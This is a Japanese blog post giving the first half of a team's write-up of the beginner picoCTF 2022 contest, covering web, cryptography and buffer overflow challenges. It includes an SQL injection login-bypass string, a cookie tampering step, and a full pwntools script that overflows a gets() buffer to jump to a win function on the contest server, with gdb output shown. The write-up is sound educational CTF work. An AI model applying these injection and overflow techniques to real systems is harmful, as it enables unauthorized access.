テクノロジー
picoCTF 2022のWriteup(前編)
2022年3月15日17時00分(UTC)〜2022年3月29日20時00分(UTC)に開催されたpicoCTF 2022にチームとして参加しました。
本記事はそのWriteupとなります。
概要
CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。
様々なコンテストが世界中で開催されており、日本では12月に本戦が開催されるSECCONが有名となっています。
今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。
picoCTFについて
picoCTFは米国カーネギーメロン大学主催の中高生向けCTFとなっています。大学生や大人も参加可能となっていて、中高生向けには賞金があります。
出題されるジャンルとしては以下の5つとなっていて、総合得点は14600です(問題数がかなり多い)。
- Web Exploitation
- Cryptography
- Reverse Engineering
- Forensics
- Binary Exploitation
コンテスト自体は終了していますが、picoCTFに登録することでいつでも回答可能ですので、興味があれば解いてみると良いかと思います!
結果は7794チーム中1007位でした!
(解いた問題割合)
流れ
(日本時間3月28日午後2時の出来事)
メンバー
メンバー | 紹介(筆者の偏見が混じっています) | |
---|---|---|
S.Hさん | 絶対的エース | |
S.Rさん | マスター・オブ・セキュア | |
M.W(私) | ひよっこ |
Writeup
Web Exploitation
Includes
jsファイルとcssファイルのコメントとして含まれています。
Inspect HTML
こちらはコメントに。
Local Authority
非常にセキュアなログイン処理をかいくぐる必要があります。
Search source
CSSファイルのコメントとして埋め込まれています。
Forbidden Paths
これを、
こうして、
こうです。
Power Cookie
isAdmin=0というCookieが渡されるので、1に書き換えて再度アクセスします。
Roboto Sans
/robots.txtに意味深な文字列があります。
Base64デコードしたらパスが出てきて、そこにアクセスしたらflagでした。
Secrets
ディレクトリを掘り進んでいくと出てきます。
SQL Direct
PostgreSQLに接続してテーブルの情報を確認するだけです。PostgreSQLはあまり触らないので、MySQLとのコマンドの違いにちょっと苦戦しました。
SQLiLite
SQLインジェクションで認証をバイパスできます。
<pre>usernamse: ' OR 1-1--
password:
SQL query: SELECT * FROM users WHERE name=' OR 1=1--' AND password=''
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p>
Cryptography
basic-mod1
ダウンロードした message.txt の中身は
202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397
となっています。
問題分から、message.txt に記載された数字をそれぞれ37で割った余り(0~36)を、A~Z、0-9、_ に置き換えればよさそうです。
以下の python3 で以下のとおり実行してみます。
>>> cipher_text = open("message.txt").read()
>>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])
'R0UND_N_R0UND_B6B25531'
復号化されたメッセージ "R0UND_N_R0UND_B6B25531" が分かりました。
flag は picoCTF{R0UND_N_R0UND_B6B25531} となります。
basic-mod2
ダウンロードした message.txt の中身は以下のとおりです。
104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370
基本的には basic_mod1 と同じですが、41で割った余りの法41のモジュラ逆数を利用することが異なります。
整数xの法41のモジュラ逆数とは、x*n%41==1 となる整数Nのことです。
Pythonでは以下で関数定義します。
>>> def inverse41(x):
... for i in range(41):
... if x*i%41==1:
... return i
... return 0
確かに問題なさそうです。
>>> inverse41(10)*10%41
1
>>> inverse41(31)*31%41
1
あとは、basic_mod1と同様に解けます。
>>> cipher_text = open("message.txt").read()
>>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])
'1NV3R53KY_H4RD_DADAACAA'
flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} となります。
credstuff
ダウンロードした leak.tar を展開すると、passwords.txt と usernames.txt が出力されます。
$ find leak -ls
1562440 4 drwxr-xr-x 2 suzuki.hiroaki suzuki.hiroaki 4096 Mar 15 06:29 leak
1562441 16 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 13130 Mar 15 06:29 leak/passwords.txt
1562442 8 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 7531 Mar 15 06:29 leak/usernames.txt
505人のユーザーのユーザー名とパスワードがそれぞれ、別ファイル usernames.txt と passwords.txt に保管されており、ユーザー cultiris のパスワードを求めればよさそうです。
$ head -n 3 leak/usernames.txt
engineerrissoles
icebunt
fruitfultry
$ head -n 3 leak/passwords.txt
CMPTmLrgfYCexGzJu6TbdGwZa
GK73YKE2XD2TEnvJeHRBdfpt2
UukmEk5NCPGUSfs5tGWPK26gG
$ wc -l leak/usernames.txt leak/passwords.txt
505 leak/usernames.txt
505 leak/passwords.txt
1010 total
grep で cultiris の存在する行を求めて、対応するパスワードを取得します。
$ grep -n cultiris leak/usernames.txt
378:cultiris
$ head -n 378 leak/passwords.txt | tail -n 1
cvpbPGS{P7e1S_54I35_71Z3}
パスワードは Rot13 で暗号化されているようです。
phpを利用して復号化します。
$ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'
picoCTF{C7r1F_54V35_71M3}
flag は picoCTF{C7r1F_54V35_71M3} となります。
morse-code
ダウンロードファイルは morse_chal.wav です。
音楽プレイヤーで再生してみると、問題タイトルどおりモールス信号っぽいです。
解読のため、音声編集ファイルで開きます。
モールス信号は
.-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..- ----. .... --...
これを変換サービスを用いて変換します (https://morsecode.world/international/translator.html)
結果は WH47 H47H 90D W20U9H7 となりました。
flagは picoCTF{WH47_H47H_90D_W20U9H7} となります。
substitution0
ダウンロードした message.txt は以下のとおりです。
QWITJSYHXCNDFERMUKGOPVALBZ
Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodj
skrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qo
ohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeo
rs vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet q
drey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohj
qmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,
oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexre
kjgmjioxey xo.
Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505}
どうやら、単純な換字式暗号のようです。
先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が A~Zの文字に対応していそうです。
文字をテーブルに従って変換する関数を定義します。
>>> def convert(c):
... if 'a' <= c <= 'z': return convert(c.upper()).lower()
... table = 'QWITJSYHXCNDFERMUKGOPVALBZ'
... if c in table: return chr(table.index(c) + 65)
... return c
変換関数を用いて暗号文を解読します。
>>> cipher_text = open("message.txt").read()
>>> print("".join(convert(c) for c in cipher_text))
ABCDEFGHIJKLMNOPQRSTUVWXYZ
Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. There were two round black spots near one extremity of the back, and a
long one near the other. The scales were exceedingly hard and glossy, with all the
appearance of burnished gold. The weight of the insect was very remarkable, and,
taking all things into consideration, I could hardly blame Jupiter for his opinion
respecting it.
The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505}
flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} となります。
Reverse Engineering
buffer overflow 1
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 60476
タイトル通りバッファーオーバーフローを狙う問題です。配布されている実行ファイルを実行すると、以下のようになります。どうやら入力文字列を受け取ると文字列とリターンアドレスが表示されるようです。
maz-picoctf@webshell:~/bof1$ ./vuln
Please enter your string:
hogehoge
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
maz-picoctf@webshell:~/bof1$
やたらめったら長く入力すると、リターンアドレスが変わっているのが確認できます。バッファーオーバーフローしてそうです。
maz-picoctf@webshell:~/bof1$ ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x61616161
Segmentation fault (core dumped)
maz-picoctf@webshell:~/bof1$
ソースコードは下記になります。
//vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けてしまう脆弱性があります。
よって戦略としては、getsに対してバッファーオーバーフローを発生させ、win()関数のアドレスを指定することでwin()関数をコールしフラグを入手することになりそうです。
何桁の入力でオーバーフローするか特定します。
maz-picoctf@webshell:~/bof1$ gdb vuln
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ run
Starting program: /home/maz-picoctf/bof1/vuln
warning: Error disabling address space randomization: Operation not permitted
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414641
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0xffffffff
EDX: 0x41 ('A')
ESI: 0xf7f22000 --> 0x1ead6c
EDI: 0xf7f22000 --> 0x1ead6c
EBP: 0x41304141 ('AA0A')
ESP: 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto 0x41414641
1094796865 found at offset: 44
gdb-peda$ Aborted (core dumped)
maz-picoctf@webshell:~/bof1$
gdb-pedaで確認したところ44桁でオーバーフローしそうです。
以上を受けてexploitを作成します。
# exploit.py
from pwn import *
FILE = "./vuln"
LIBC = ""
HOST = "saturn.picoctf.net"
PORT = 60476
def exploit(con, elf, libc, rop):
win_symbols = elf.symbols["win"]
log.info("win symbol: {}".format(hex(win_symbols)))
offset = 44
payload = b"A" * offset
payload += pack(win_symbols)
log.info("payload: {}".format(payload))
con.sendline(payload)
def main():
# context(arch=ARCH, os="linux")
if args["REMOTE"]:
con = remote(HOST, PORT)
else:
con = process([FILE])
elf = ELF(FILE)
if LIBC != "":
libc = ELF(LIBC)
else:
libc = ""
rop = ROP(elf)
exploit(con, elf, libc, rop)
con.interactive()
if __name__ == "__main__":
main()
maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE
[+] Opening connection to saturn.picoctf.net on port 60476: Done
[*] '/home/maz-picoctf/bof1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for './vuln'
[*] win symbol: 0x80491f6
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive
flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270}
参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable
後編へ続く・・
※サムネ画像ロゴは『picoCTF』より引用
※本記事は2022年06月時点の内容です。